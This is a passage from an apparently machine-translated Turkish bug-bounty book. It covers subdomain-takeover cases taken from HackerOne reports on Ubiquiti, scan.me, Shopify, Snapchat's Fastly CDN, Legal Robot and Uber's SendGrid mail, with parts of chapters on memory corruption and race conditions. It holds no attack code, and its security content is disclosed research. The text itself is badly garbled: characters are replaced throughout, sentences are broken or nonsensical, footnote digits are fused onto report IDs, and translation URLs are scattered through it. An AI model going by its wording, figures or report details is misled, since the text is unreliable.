ayrılan hafıza) meydana gelecekt�r.

Bu öneml� b�r güvenl�k açığıdır, çünkü belleğe hacker er�ş�m� sağlar.
sınırları dışında olmalı.

17 https://bugs.php.net/bug.php?�d=69453
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çıkarımlar

Tıpkı Arabellek Taşmaları g�b�, Bellek Bozulması esk� ama y�ne de yaygın
kend� hafızasını yöneten uygulamalarla çalışırken güvenl�k açığı,
özell�kle C ve C ++. B�r web uygulaması �le uğraştığınızı öğren�rsen�z
(PHP'n�n yazıldığı) C d�l�ne göre yollar aramak
bu hafıza man�püle ed�leb�l�r. Ancak, y�ne, yen� başlıyorsanız, bu
Enjeks�yonla �lg�l� bas�t güvenl�k açıklarını bulmak �ç�n zaman ayırmaya değer olab�l�r
ve daha fazla deney�m�n�z olduğunda Hafıza Yolsuzluğuna ger� dönün.

özet

Hafıza �le �lg�l� güvenl�k açıkları büyük manşetlere neden olsa da
üzer�nde çalışın ve kayda değer m�ktarda becer� gerekt�r�r. Bu tür güvenl�k açıkları
Düşük sev�yel� programlamada b�r programlama geçm�ş�n�z yoksa, yalnız başına daha �y�
D�ller.

Modern programlama d�ller� kend� d�ller�nden dolayı onlara daha az duyarlı olurlar.
bellek ve çöp toplama �şlemler�n�, C programlama �le yazılmış uygulamaları
d�ller hala çok hassastır. Ek olarak, modernle çalışırken
C programlama d�ller�nde yazılmış d�ller�n kend�ler�, �şler� b�raz zorlaştırab�l�r;

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://bugs.php.net/bug.php%3Fid%3D69453
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://bugs.php.net/bug.php%3Fid%3D69453


PHP ftp_genl�st () ve Python Hotshot Module örnekler�yle gördük .
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16. Alt Alan Adı Alma

Açıklama

Alt alan adı devralma gerçekten kulağa kötü gel�yor, kötü n�yetl� b�r k�ş�n�n olduğu b�r durum
meşru b�r s�te adına b�r alt alan talep edeb�l�r. Özetle, bu tür
güvenl�k açığı, b�r alt etk� alanı �ç�n DNS g�r�ş� oluşturan b�r s�tey�, örneğ�n Heroku'yu �çer�r.
(barındırma ş�rket�) ve asla bu alt etk� alanını talep etm�yor.

1. example.com Heroku'ya kaydoldu
Example.com, alt doma�n.example.com 'u un�- �şaret�yle gösteren b�r DNS g�r�ş� oluşturur.

corn457.heroku.com
Ornek.com.tr, asla un�corn457.heroku.com olduğunu �dd�a etmez.
4. Kötü n�yetl� b�r k�ş� un�corn457.heroku.com Idd�a ed�yor ve example.com s�tes�n� kopyalıyor.
5. doma�n.example.com alt traf�ğ�n�n tüm traf�ğ�, kötü amaçlı b�r web s�tes�ne yönlend�r�l�r.

example.com'a benz�yor

Bu nedenle, bunun gerçekleşmes� �ç�n, b�r har�c� �ç�n talep ed�lmem�ş DNS g�r�şler� olması gerek�r.
Heroku, G�thub, Amazon S3, Shop�fy g�b� serv�sler. Bunları bulmak �ç�n har�ka b�r yol kullanıyor.
Araçlar bölümünde tartışılan ve ortak b�r alt l�ste üzer�nde y�nelenen KnockPy
varlığını doğrulamak �ç�n etk� alanları.



Örnekler

1. Ub�qu�t� Alt Alan Adı Devralma

Zorluk : Düşük

URL : http://assets.goub�qu�t�.com

Rapor Bağlantısı : https://hackerone.com/reports/1096991

Rapor Tar�h� : 10 Ocak 2016

Ödemel� Ödül : 500 Dolar

Tanım :

1 https://hackerone.com/reports/109699
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Alt etk� alanı devralmalarının tanımının �ma ett�ğ� g�b�, http://assets.goub�qu�t�.com
dosya depolama �ç�n Amazon S3'e �şaret eden b�r DNS g�r�ş� vardı, ancak gerçekte Amazon S3 kovası yok
mevcut. İşte HackerOne'un ekran görüntüsü:

Goub�qu�t� Varlıkları DNS

Sonuç olarak, kötü n�yetl� b�r k�ş� uwn-�mages.s3-webs�te-us-west-1.amazonaws.com adres�n� talep edeb�l�r.
ve orada b�r s�teye ev sah�pl�ğ� yapıyor. Buradak� güvenl�k açığı Ub�qu�t� g�b� görünmes�n� sağlayab�ld�kler�n� varsayarsak
kullanıcıları k�ş�sel b�lg�ler�n�z� sunma ve hesapları devralma konusunda kandırıyor.

çıkarımlar

DNS g�r�şler�, güvenl�k açıklarını ortaya çıkarmak �ç�n yen� ve benzers�z b�r fırsat sunar. kullanım
Alt alan adlarının varlığını doğrulamak �ç�n KnockPy ve ardından onayla
üçüncü taraflara özel d�kkat gösteren geçerl� kaynaklara �şaret ed�yorlar
AWS, G�thub, Zendesk vb. g�b� serv�s sağlayıcılar
özelleşt�r�lm�ş URL’ler� kayded�n.

2. Scan.me Zendesk'e İşaret Ed�n

Zorluk : Düşük

URL : destek.scan.me

Rapor Bağlantısı : https://hackerone.com/reports/1141342

Rapor Tar�h� : 2 Şubat 2016

Ödemel� Ödül : 1000 $

Tanım :

Tıpkı Ub�qu�t� örneğ�nde olduğu g�b�, burada, scan.me - b�r Snapchat kazanımı - CNAME g�r�ş� yaptı
support.scan.me �le scan.zendesk.com adres�ne g�d�n. Bu durumda, hacker harry_mg
support.scan.me'n�n yönlend�receğ� scan.zendesk.com'u talep edeb�ld�.

Ve bu kadar. 1.000 ABD doları ödeme

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/109699
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/109699
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/114134


çıkarımlar

ÇOK DİKKAT! Bu güvenl�k açığı Şubat 2016'da bulundu ve karmaşık değ�ld�
h�ç. Başarılı böcek avı kesk�n gözlem gerekt�r�r.

2 https://hackerone.com/reports/114134
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3. W�ndsor�fy Sub Sub Doma�n Alımı

Zorluk : Düşük

URL : w�ndsor.shop�fy.com

Rapor Bağlantısı : https://hackerone.com/reports/1503743

Rapor Tar�h� : 10 Temmuz 2016

Ödemel� Ödül : 500 Dolar

Tanım :

Temmuz 2016’da Shop�fy, DNS yapılandırmasında
alt etk� alanı w�ndsor.shop�fy.com başka b�r etk� alanına yönlend�r�ld�, a�sl�ngofw�ndsor.com
artık sah�p olmadıkları. Raporu okumak ve muhab�rle sohbet etmek, @zseano,
Bunu �lg�nç ve kayda değer kılan b�rkaç şey var.

İlk olarak, @zseano veya Sean, tarama yaptığı sırada güvenl�k açığına g�rd�.
Çalıştığı başka b�r müşter�. Gözünü yakalayan şey den�zaltıydı.
etk� alanları * .shop�fy.com �d�. Platforma aş�na �sen�z, kayıtlı mağazalar
alt etk� alanı desen�, * .myshop�fy.com. Bu ek alanlar �ç�n b�r kırmızı bayrak olmalıdır
güvenl�k açıklarını test etmek �ç�n. Kesk�n gözlem �ç�n Sean Kudos. Ancak, o notta,
Shop�fy'ın program kapsamı, programlarını Shop�fy dükkanları, yönet�c�ler� ve
API, Shop�fy uygulamasında kullanılan yazılım ve bel�rl� alt alanlar. Şu hususları bel�rtmekted�r
Eğer etk� alanı açıkça l�stelenmem�şse, bu kadar tartışmasız b�r kapsamda değ�l.
Sean'ı ödüllend�rmek �ç�n.

İk�nc�s�, Sean kullanılan araç, crt.sh har�ka. B�r Etk� Alanı Adı Alacak, Organ�-
zat�on Name, SSL Sert�f�ka Parmak İz� (gel�şm�ş aramayı kullandıysanız daha fazlası) ve
arama sorgusunun sert�f�kalarıyla �l�şk�l� alt alanlar döndür. Bunu �zleyerek yapar
Sert�f�ka Şeffaflığı günlükler�. Bu konu, bu k�tabın kapsamı dışındayken,
Özetle, bu günlükler sert�f�kaların geçerl� olduğunu doğrular. Bunu yaparken, aynı zamanda b�r
tümü potans�yel olarak g�zl� olan dah�l� sunucu ve s�stemler�n sayısı çok fazla
Hackled�ğ�n�z program tüm alt alan adlarını �çer�yorsa araştırılmalıdır
yok!).

Üçüncüsü, l�stey� bulduktan sonra, Sean s�teler� tek tek test etmeye başladı. Bu olab�l�r b�r adım
otomat�k olun ama unutmayın, başka b�r program üzer�nde çalıştığını ve tak�p ed�ld�ğ�n� söyled�.
Böylece, w�ndsor.shop�fy.com test�nden sonra, kullanım süres�n�n dolduğunu tesp�t ett�.
etk� alanı hata sayfası. Doğal olarak etk� alanını satın aldı, ş�md� a�sl�ngofw�ndsor.com
Shop�fy kend� s�tes�ne �şaret ed�yordu. Bu onun b�r kurbanı kötüye kullanmasına �z�n vereb�l�rd�.
b�r Shop�fy etk� alanı g�b� göründüğü �ç�n Shop�fy �le olurdu.

Shop�fy'a açık olduğunu rapor ederek kesmey� b�t�rd�.

3 https://hackerone.com/reports/150374
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çıkarımlar

Açıklandığı g�b�, burada b�rden fazla paket serv�s� var. İlk önce, crt.sh �le
alt alanları keşfet. B�r �ç�nde ek hedefler�n b�r altın maden� g�b� görünüyor
programı. İk�nc�s�, alt etk� alanı devralma yalnızca dış h�zmetlerle sınırlı değ�ld�r
G�b� S3, Heroku, vb. Burada, Sean aslında kayded�len daha fazla adım attı
süres� dolan etk� alanı Shop�fy �şaret ed�yordu. Kötü n�yetl� olsaydı,
alan adındak� Shop�fy oturum açma sayfasını kopyaladı ve kullanıcı toplamaya başladı
k�ml�k b�lg�ler�.

4. Snapchat Hızlı Alma

Zorluk : Orta

URL : http://fastly.sc-cdn.net/takeover.html

Rapor Bağlantısı : https://hackerone.com/reports/1544254

Rapor Tar�h� : 27 Temmuz 2016

Ödemel� Ödül : 3,000 Dolar

Tanım :

Hızla b�r �çer�k dağıtım ağı veya CDN, �çer�ğ� hızlı b�r şek�lde kullanıcılara sunmak �ç�n kullanılır.
B�r CDN f�kr�, �çer�ğ�n kopyalarını dünyadak� sunucularda depolamaktır;
bu �çer�ğ� talep eden kullanıcılara sunmak �ç�n daha kısa süre ve mesafe. B�r d�ğer�
örnek Amazon'un CloudFront'u olacaktır.

27 Temmuz 2016'da Ebr�etas, Snapchat’a DNS’ler� yanlış yapılandırdıklarını b�ld�rd�.
URL’de sonuçlanan http://fastly.sc-cdn.net , CNAME kaydına sah�p b�r Fastly’� �şaret ett�.
sah�p olmadığı alt etk� alanı. Bunu �lg�nç yapan, hızlı b�r şek�lde s�ze �z�n vermes�d�r.
traf�ğ�n�z� ş�freleyeceksen�z, özel alt etk� alanlarını h�zmetler�ne kaydetmek �ç�n
TLS �le paylaşın joker sert�f�kasını kullanın. Ona göre, z�yaret
URL, “Hızlı hata: b�l�nmeyen etk� alanı: XXXXX. Lütfen
Bu alan b�r h�zmete eklend�ğ�n� kontrol ed�n.” .

Ebr�etas, devralma �şlem�nde kullanılan Hızlı URL’y� �çermese de, Hızlıca
belgeler (https://docs.fastly.com/gu�des/secur�ng-commun�cat�ons/sett�ng-up-free-
tls), EXAMPLE.global.ssl.fastly.net desen�n� tak�p etm�ş g�b� görünüyor. merkezl�
Alt etk� alanına “hızlı b�r sınama örneğ�” olduğu �ç�n başvurulduğunda, daha da olasıdır
Snapchat bunu b�r şey� test etmek �ç�n Fastly joker sert�f�kası kullanarak ayarladı.

Ek olarak, bu raporu d�kkat çek�c� ve değerl� kılan �k� ek husus vardır.
açıklayan:

4 https://hackerone.com/reports/154425
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1. fastly.sc-cdn.net , Fastchat CDN's�ne �şaret eden Snapchat'ın alt alanıydı . o
doma�n-, sc-cdn.net, çok açık değ�ld�r ve eğer gerçekten herhang� b�r� tarafından sah�plen�leb�l�r
Sadece bakarak bakarak tahm�n etmek zorundaydın. Mülk�yet�n� doğrulamak �ç�n Ebr�etas baktı
SSL sert�f�kasını censys.�o �le kapatın. Bu, �y� b�lg�sayar korsanlarını ayırt eden şeyd�r.
Büyük b�lg�sayar korsanları, güvenl�k açıklarınızı g�dermek �ç�n bu ekstra adımı yer�ne get�rerek
b�r şans vermekten daha fazla.

2. Devralmanın etk�ler� hemen bell� değ�ld�. Onun �lk
Raporda, Ebr�etas etk� alanının herhang� b�r yerde kullanıldığı g�b� görünmed�ğ�n� bel�rt�yor
Snapchat. Bununla b�rl�kte, sunucusunu çalışır durumda ve çalışır durumda tutuyordu.
sadece Snapchat çağrılarını bulma zamanı, alt alanın gerçekten kullanımda olduğunu onaylar.

root @ localhost: ~ # cat /var/log/apache2/access.log | grep -v sunucu durumu | gre \

p snapchat -�

23.235.39.33 - - [02 / Aug / 2016: 18: 28: 25 +0000] "GET / bq / story_blob? Story_�d = fRaYu \

tXlQBosonUmKavo1uA & t = 2 & mt = 0 HTTP / 1.1 ...
23.235.39.43 - - [02 / Aug / 2016: 18: 28: 25 +0000] "GET / bq / story_blob? Story_�d = f3gHI \

7yhW-Q7TeACCzc2nKQ & t = 2 & mt = 0 HTTP / 1.1 ...

23.235.46.45 - - [03 / Ağu / 2016: 02: 40: 48 +0000] "GET / bq / story_blob? Story_�d = fKGG6 \
u9zG4juOFT7-k0PNWw & t = 2 mt = 1 ve kodlama ...

23.235.46.23 - - [03 / Ağu / 2016: 02: 40: 49 +0000] "GET / bq / story_blob? Story_�d = fco3g \

XZkbBCyGc_Ym8UhK2g & t = 2 mt = 1 ve kodlama ...
43.249.75.20 - - [03 / Ağu / 2016: 12: 39: 03 +0000] "GET / keşfet / dsnaps? Ed�t�on_�d = 4 \

527366714425344 & dsnap_�d = 56515658813 ...

43.249.75.24 - - [03 / Aug / 2016: 12: 39: 03 +0000] "GET / bq / story_blob? Story_�d = ftzqL \
Qky4KJ_B6Jebus2Paw & t = 2 mt = 1 ve kodlama ...

43.249.75.22 - - [03 / Aug / 2016: 12: 39: 03 +0000] "GET / bq / story_blob? Story_�d = fEXbJ \

2SDn3Os8m4aeXs-7Cg & t = 2 & mt = 0 HTTP / 1.1 ...
23.235.46.21 - - [03 / Ağu / 2016: 14: 46: 18 +0000] "GET / bq / story_blob? Story_�d = fu8jK \

J_5yF71_WED�8e�MuQ & t = 1 ve mt = 1 ve kodlama ...

23.235.46.28 - - [03 / Ağu / 2016: 14: 46: 19 +0000] "GET / bq / story_blob? Story_�d = flWVB \
XvBXToy-vhsBdze11g & t = 1 ve mt = 1 ve kodlama ...

23.235.44.35 - - [04 / Ağu / 2016: 05: 57: 37 +0000] "GET / bq / story_blob? Story_�d = fuZO- \

2ouGdvbCSggKAWGTaw & t = 0 ve mt = 1 ve kodlama ...
23.235.44.46 - - [04 / Ağu / 2016: 05: 57: 37 +0000] "GET / bq / story_blob? Story_�d = fa3DT \

t_mL0MhekUS9ZXg49A & t = 0 ve mt = 1 ve kodlama ...

185.31.18.21 - - [04 / Ağu / 2016: 19: 50: 01 +0000] "GET / bq / story_blob? Story_�d = fDL27 \
0uTcFhyzlRENPVPXnQ & t = 0 ve mt = 1 ve kodlama ...

Raporun çözümünde Snapchat, talepler�n er�ş�m� �çermed�ğ�n� doğruladı
bel�rteçler veya çerezler, kullanıcılara kötü amaçlı �çer�k sunmuş olab�l�r. Anlaşılan,
Snapchat'ten Andrew H�ll'e göre:
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G�r�ş yapmayan esk� b�r �stemc�y� kullanan çok küçük b�r kullanıcı grubu



CDN deneme süres�n�n ardından stat�k, sonuçsuz
bel�rlenm�ş �çer�k (hassas medya yok). Kısa b�r süre sonra, müşter�ler
konf�gürasyonlarını yen�led�ler ve doğru uç noktaya ulaştılar. İç�nde
Teor�k olarak, alternat�f medya bu çok küçük kullanıcı grubuna sunulab�l�rd�.
Bu �stemc� sürümünde kısa b�r süre �ç�n.

çıkarımlar

Y�ne, burada b�rkaç yolumuz var. İlk olarak, alt etk� alanı ararken
devralma, ortaya çıktığı g�b� * .global.ssl.fastly.net URL'ler� �ç�n uyanık olun
Hızla başka b�r web serv�s�d�r, kullanıcıların �s�mler� global olarak kaydetmeler�ne �z�n ver�r.
ad alanı. Alanlar savunmasız olduğunda, Hızlı b�r şek�lde mesaj boyunca b�r mesaj görüntüler.
“Hızlı etk� alanı yok” satırları.

İk�nc�s�, güvenl�k açıklarınızı onaylamak �ç�n her zaman ekstra adıma geç�n. Bu durumda,
Ebr�etas tarafından sah�p olunan onaylamak �ç�n SSL sert�f�ka b�lg�ler� baktı
Raporlamadan önce Snapchat. Son olarak, devralmanın etk�ler� her zaman değ�ld�r
Hemen görünür. Bu durumda, Ebr�etas bu serv�s�n kullanıldığını düşünmed�
traf�ğ�n geld�ğ�n� görene kadar. Devralma güvenl�k açığı bulursanız,
Serv�s, herhang� b�r �steğ�n gel�p gelmed�ğ�n� görmek �ç�n b�r süre bekleyeb�l�r. Bu olab�l�r
Güvenl�k açığını açıklamak �ç�n konunun c�dd�yet�n� bel�rlemen�ze yardımcı
rapor ett�ğ�n�z program etk�l� olanın b�leşenler�nden b�r�d�r.
Güvenl�k Açığı Raporları bölümünde tartışıldığı g�b� rapor ver�n.

5. ap�.legalrobot.com

Zorluk : Orta

URL : ap�.legalrobot.com

Rapor Bağlantısı : https://hackerone.com/reports/1487705

Rapor Tar�h� : 1 Temmuz 2016

Ödemel� Ödül : 100 $

Tanım :

1 Temmuz 2016 tar�h�nde, Frans Rosen 6 , Legal Robot'a bunları b�ld�ren b�r rapor sundu.
ap�.legalrobot.com �ç�n Modulus.�o'ya �şaret eden b�r DNS CNAME g�r�ş� yaptı, ancak
orada ad alanı olduğunu �dd�a etmem�şt�m.

5 https://hackerone.com/reports/148770
6 https://www.tw�tter.com/fransrosen
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Modülüs Uygulaması Bulunamadı

Ş�md�, muhtemelen Frans’ın daha sonra Modulus’u z�yaret ett�ğ�n� ve altını talep etmeye çalıştığını tahm�n edeb�l�rs�n�z.
b�r devralma örneğ� olduğundan ve etk� alanı modülü olduğundan, “Herhang� b�r�
özel alanlar bel�rt�leb�l�r ”. Ancak bu örnek bundan daha fazlası.

Bu örneğ�n kayda değer olması ve buraya dah�l ed�lmes�n�n neden� Frans'ın bunu denemes� ve
alt etk� alanı zaten talep ed�ld�. Ama ap�.legalrobot.com'u �dd�a edemed�ğ�nde,
uzaklaşmaktansa, vahş� kart alt alan adını almaya çalıştı, * .legalrobot.com
hang� gerçekten çalıştı.
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Modulus W�ld Card S�tes� Sah�plen�ld�

Bunu yaptıktan sonra, kend� �çer�ğ�n� orada barındırmak �ç�n ekstra (küçük de olsa) basamağa geçt�:

Frans Rosen Merhaba Dünya
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çıkarımlar

Bu örneğ� �k� nedenden dolayı dah�l ett�m; B�r�nc�s�, Frans den�zaltısını talep etmeye çalıştığında
Modulus üzer�nde etk� alanı, tam eşleşme alındı. Ancak, pes etmek yer�ne,
Joker kart alanını talep etmeye çalıştı. D�ğer b�lg�sayar korsanları �ç�n konuşamıyor olsam da
Eğer onun yer�nde olsaydım, dener m�yd�m b�lm�yorum. Öyleyse �ler�ye g�d�yor, eğer
Kend�n�z� aynı konumda bulursanız, üçüncü taraf h�zmetler�n�n olup olmadığını kontrol ed�n.
joker kart taleb�nde bulunur.

İk�nc�s�, Frans aslında alt alanı talep ett�. Bu açık olsa da
bazı, savunmasız olduğunuzu kanıtlamanın önem�n� tekrarlamak �st�yorum
raporlanması. Bu durumda, Frans, hak taleb�nde bulunab�lmes�n� sağlamak �ç�n ek b�r adım attı.
alt etk� alanı ve kend� �çer�ğ�n� barındırma. Büyük hacker'ları farklılaştıran şey bu
�y� hackerlardan, raporlamadığınızdan em�n olmak �ç�n bu fazla çabayı sarf ed�yorum
yanlış poz�t�fler.

6. Uber SendGr�d Posta Alımı

Zorluk : Orta

URL : @ em.uber.com

Rapor Bağlantısı : https://hackerone.com/reports/1565367

Rapor Tar�h� : 4 Ağustos 2016

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/156536


Ödemel� Ödül : 10.000 $

Tanım :

SendGr�d, ş�rketler�n e-posta göndermes�ne yardımcı olmak �ç�n gel�şt�r�len bulut tabanlı b�r e-posta h�zmet�d�r.
Anlaşılan, Uber onları e-posta tesl�matı �ç�n kullanıyor. Sonuç olarak, b�lg�sayar korsanları
Uran�um238 ek�b� Uber’�n DNS kayıtlarına baktı ve
Em.uber.com �ç�n CNAME, SendGr�d’e �şaret ed�yor (CNAME’n�n kanon�k b�r ad olduğunu unutmayın.
etk� alanı �ç�n b�r d�ğer ad tanımlayan kayıt).

B�r CNAME olduğundan, b�lg�sayar korsanları nasıl olduğunu görmek �ç�n SendGr�d'� dürtmeye karar verd�ler.
alanlar talep ed�ld� ve h�zmete a�tt�. Yazdıklarına göre, onlar
İlk önce SendGr�d’�n �çer�k barındırma �ç�n �z�n ver�p vermed�ğ�ne bakıp
kend� �çer�ğ�n� barındırarak yapılandırma. Ancak, SendGr�d açıktır, barındırmazlar
etk� alanları.

Devam edersek, Uran�um238 farklı b�r seçenek, beyaz et�ketleme �le karşılaştı;
SendGr�d'e göre:

SendGr�d'�n �zn�ne sah�p olduğunu gösteren ISS’ler� gösteren �şlevd�r.
s�z�n adınıza e-posta gönder�n. Bu �z�n çok gösterme hareket� �le ver�l�r

7 https://hackerone.com/reports/156536
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etk� alanı kayıt belgen�zden SendGr�d'e özel DNS g�r�şler�. B�r kez bu DNS
g�r�şler g�r�l�r ve çoğaltılır, alıcı e-posta sunucuları ve serv�sler�
gönderd�ğ�n�z e-postalardak� başlıkları okuyun ve doğrulamak �ç�n DNS kayıtlarını kontrol ed�n.
e-posta güven�l�r b�r kaynaktan başlatıldı. Bu öneml� ölçüde
e-posta tesl�m etme yeteneğ� ve gönderen saygınlığı oluşturmaya başlamanıza �z�n ver�r
etk� alanınız ve IP adresler�n�z �ç�n.

Bu umut ver�c� görünüyor. Doğru DNS g�r�şler� oluşturarak, SendGr�d e-posta göndereb�l�r
B�r müşter� adına. Tab�� k�, em.uber.com’un MX kayıtlarına baktığımızda
mx.sendgr�d.net (b�r posta değ�şt�r�c�, MX, kayıt) �şaret�n� gösteren b�r DNS kaydı türüdür.
b�r alıcı etk� alanı adına e-posta kabul etmekten sorumlu olan b�r posta sunucusunu bel�rt�r).

Ş�md�, Uber'�n SendGr�d �le olan kurulumunu onaylayan Uran�um238, SendGr�d'�n çalışmalarına katılıyor
akış ve belgeler. Gönderd�ğ�ne göre, SendGr�d b�r Gelen Ayrıştırma Web Kancası tekl�f ett�.
ş�rket�n gelen e-postaların ekler�n� ve �çer�ğ�n� ayrıştırmasına �z�n ver�r. Bunu yapmak �ç�n
müşter�ler�n yapması gereken:

1. B�r Etk� Alanının / Ana B�lg�sayar Adının veya Alt Etk� Alanının MX Kayıtlarını mx.sendgr�d.net adres�ne yönlend�r�n
2. Etk� Alanı / Ana B�lg�sayar Adını ve URL'y� Ayrıştırma API ayarları sayfasında �l�şk�lend�r�n

B�ngo. 1 Numara çoktan onaylandı ve ortaya çıktı, 2 Numara yapılmadı,
em.uber.com Uber tarafından �dd�a ed�lmed�. Bu ş�md� Uranyum238 tarafından �dd�a ed�len, son
e-postaların alındığını onaylamak oldu (hatırla, büyük hackerlar bu ekstra adıma geçt�
İdd�alarda durmak yer�ne, tüm bulguları b�r kavram kanıtı �le doğrulamak;
Bu örnekte ayrıştırma kancası).

Bunu yapmak �ç�n, SendGr�d b�r d�nleme sunucusu kurma konusunda bazı kullanışlı b�lg�ler sağlar.
Buradan kontrol edeb�l�rs�n�z.8 . Yapılandırılmış b�r sunucu �le, b�r sonrak� adım uygulamaktır.
Gelen e-postayı kabul etme Y�ne, bu yazıyı sağlarlar. Bununla beraber

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/156536
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son olarak, Uran�um238, HTTP traf�ğ�n� yerel sunucularına tünelleyen ngrok.�o dosyasını kullandı.
ve devralma onayladı.

8 https://sendgr�d.com/blog/collect-�nbound-ema�l-us�ng-python-and-flask
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Ngrok.�o kullanarak SendGr�d Gelen Ayrıştırma Konf�gürasyonu

Ayrıştırılmış e-posta yoluyla alt alan adının devralınmasının onayı

Ancak Uran�um238 rapor etmeden önce, b�rden fazla alt alanın da olduğunu doğruladı
�ş, gel�şt�r�c�, em, e-posta, m, posta, p, p2, güvenl�k ve v.

Bütün bunlar, SendGr�d’�n ek b�r güvenl�k kontrolü ekled�kler�n� onayladı.
gelen b�r ayrıştırma kancası eklemeden önce hesapların doğrulanmış b�r etk� alanına sah�p olmasını gerekt�r�r.
Bu sorunu çözmel� ve kullanan d�ğer ş�rketler �ç�n artık sömürülmemel�d�r
SendGr�d.

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://sendgrid.com/blog/collect-inbound-email-using-python-and-flask
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çıkarımlar

Bu güvenl�k açığı, üçüncülere kazmanın ne kadar paha b�ç�lmez olduğuna b�r başka örnekt�r
part� serv�sler�, kütüphaneler vb. s�teler� kullanıyor. Belgeler� okuyarak,
SendGr�d'� öğrenmek ve sundukları h�zmetler� anlamak, Ura-
n�um238 bu sorunu buldu. Ek olarak, bu örnekte
devralma fırsatları aramak, hang� �şlevsell�k �ç�n uyanık olmak
alt etk� alanları talep etmen�ze olanak sağlar.

özet

Alt Etk� Alanı Devralmaları, b�r s�te zaten sah�pken gerçekleşt�r�lmes� gerçekten o kadar zor değ�l
b�r üçüncü taraf serv�s sağlayıcısına �şaret eden veya kayıtsız olarak kullanılmayan b�r DNS g�r�ş� oluşturdu
alan adı. Bunun Heroku, Hızlı, kayıtsız etk� alanları, S3, Zendesk'te olduğunu gördük.
ve kes�nl�kle dahası var. Bu güvenl�k açığını keşfetmen�n çeş�tl� yolları vardır.
KnockPy, Google Dorks (s�te: *. hackerone.com), Recon-ng, crt.sh, vb.
Bunların kullanımı bu k�tabın Araçlar bölümünde yer almaktadır.

Frans'dan öğrend�ğ�m�z g�b�, alt etk� alanı devralmaları ararken, aşağıdak�lerden em�n olun:
aslında güvenl�k açığının kanıtını sağlayın ve vahş�y� �dd�a etmey� düşünmey� unutmayın
Serv�sler �z�n ver�yorsa kart alanı.

Son olarak, belgeler�n okunması sıkıcı olab�l�r ancak çok kazançlı olab�l�r. Ura-
n�um238 tarafından sağlanan �şlevsell�ğ� kazarak Uber postalarını ele geç�rd�
SendGr�d. Üçüncü taraf h�zmetler� ve yazılımları �ç�n mükemmel yerler olduğu �ç�n bu büyük b�r paket
güvenl�k açıklarını arayın.
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17. Yarış Koşulları

Açıklama

İk� �şlem tamamlamak �ç�n rekabet ett�ğ�nde b�r yarış durumu güvenl�k açığı ortaya çıkar
B�rb�r�ne karşı, aleyh�nde geçers�z kılınan �lk koşula dayanarak
�şlem�n yürütülmes�. Bunun klas�k b�r örneğ� banka arasında para transfer�d�r.
hesaplar:

1. İç�nde 500 $ 'lık b�r banka hesabınız var ve bu tutarın tamamını transfer etmen�z gerek�yor.
b�r arkadaşa.

2. Telefonunuzu kullanarak, bankacılık uygulamanıza g�r�ş yaparsınız ve $ 500'unuzu transfer etmen�z� �sters�n�z.
arkadaşına.

3. İsteğ�n tamamlanması çok uzun sürüyor, ancak hala �şlen�yor, bu nedenle
d�züstü b�lg�sayarınızda bankacılık s�tes�, bak�yen�z�n hala 500 dolar olduğunu görün ve aktarımınızı �stey�n
tekrar.

4. B�rkaç san�ye �ç�nde, d�züstü b�lg�sayar ve mob�l talepler tamamlandı.
5. Banka hesabınız ş�md� 0 dolar ve hesabınızdan çıktınız.
6. Arkadaşınız s�ze 1000 dolar aldığını söylemek �ç�n mesaj gönder�r.
7. Hesabınıza tekrar g�r�ş yapın ve bak�yen�z�n 0 TL olduğunu doğrulayın.

Bu, b�r yarış koşulunun gerçekç� olmayan b�r örneğ�d�r, çünkü (umarım) tüm bankalar tanır.
Bu olasılık ve bunu önlemek, ancak süreç genel kavramın tems�lc�s�d�r.
2. ve 3. adımdak� transferler, banka hesap bak�yen�z 500 ABD Doları olduğunda başlatılır.
Aktarımı başlatmak �ç�n gereken koşul budur, yalnızca �şlem gerçekleşt�ğ�nde doğrulanır
başlar. Z�ra yalnızca eş�t veya daha düşük b�r tutarı transfer edeb�lmel�s�n�z.
Bankanızın bak�yes�, 500 ABD Doları �ç�n �k� �stek başlatarak,
aynı m�ktarda Banka havales� sırasında b�r noktada durumun
Bak�yen�z 0 ABD Dolarına ulaştığından ve başka b�r havale �steğ�n�n
başarısız (hesabınıza eks� bak�ye uygulayamayacağınızı varsayarak).

Hızlı �nternet bağlantılarıyla, HTTP �stekler� anında görüneb�l�r ancak hala
yapılacak çok �şlem var. Örneğ�n, HTTP �stekler� durumsuz olduğundan, her HTTP
gönderd�ğ�n�z �stek, alıcı s�ten�n s�z� yen�den tanımlamasını ve ne olursa olsun yüklemes�n� gerekt�r�r
İsted�ğ�n�z �şlem �ç�n ver�ler gerekl�. Bu genell�kle b�r çerez kullanılarak elde ed�l�r
Hesabınız �ç�n uygulamanın sunucusunda ver�tabanı araması yapmak �ç�n. Bundan sonra
tamamlandıktan sonra s�te, yaptığınız �steğ� �şleme koyar.

Yukarıdak� transfer örneğ�ne bakıldığında, sunucu uygulaması mantığı şöyle görüneb�l�r:
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1. Para aktarmak �ç�n HTTP �steğ�n� alın
2. Ver�tabanında yer alan çerezdek� hesap b�lg�ler� �ç�n ver�tabanını sorgulayın.

�stek
3. İsteğ� yapan k�ş�n�n hesaba er�ş�m� olduğunu onaylayın.
4. İstenen transfer tutarının bak�yeden az olduğunu onaylayın.
5. K�ş�n�n transfer taleb�nde bulunma �zn� olduğunu onaylayın.
6. Bak�yey� alan k�ş�n�n ver�tabanını sorgula
7. Bu tutarı alab�ld�ğ�n� doğrulayın.
8. Başlatma hesabından havale m�ktarını kaldırın
9. Transfer tutarını alıcının hesabına ekley�n

10. Başlatıcıya başarılı b�r mesaj gönder�n
11. Transfer�n alıcısına haber ver�n.

Y�ne, bu �şlem mantığının aşırı bas�tleşt�r�lmes�d�r ve mümkün olanların tümünü �çermez
ancak para transfer� yapmak �ç�n gerekl� olan adımları ve mantığı göster�r.

Irk koşullarını çeş�tl� şek�llerde ele aldım. İlk sadece
bunların heps� an� ver�tabanı eylemler� olduğu �ç�n INSERT sorgularını kullanın. Sadece kullanarak
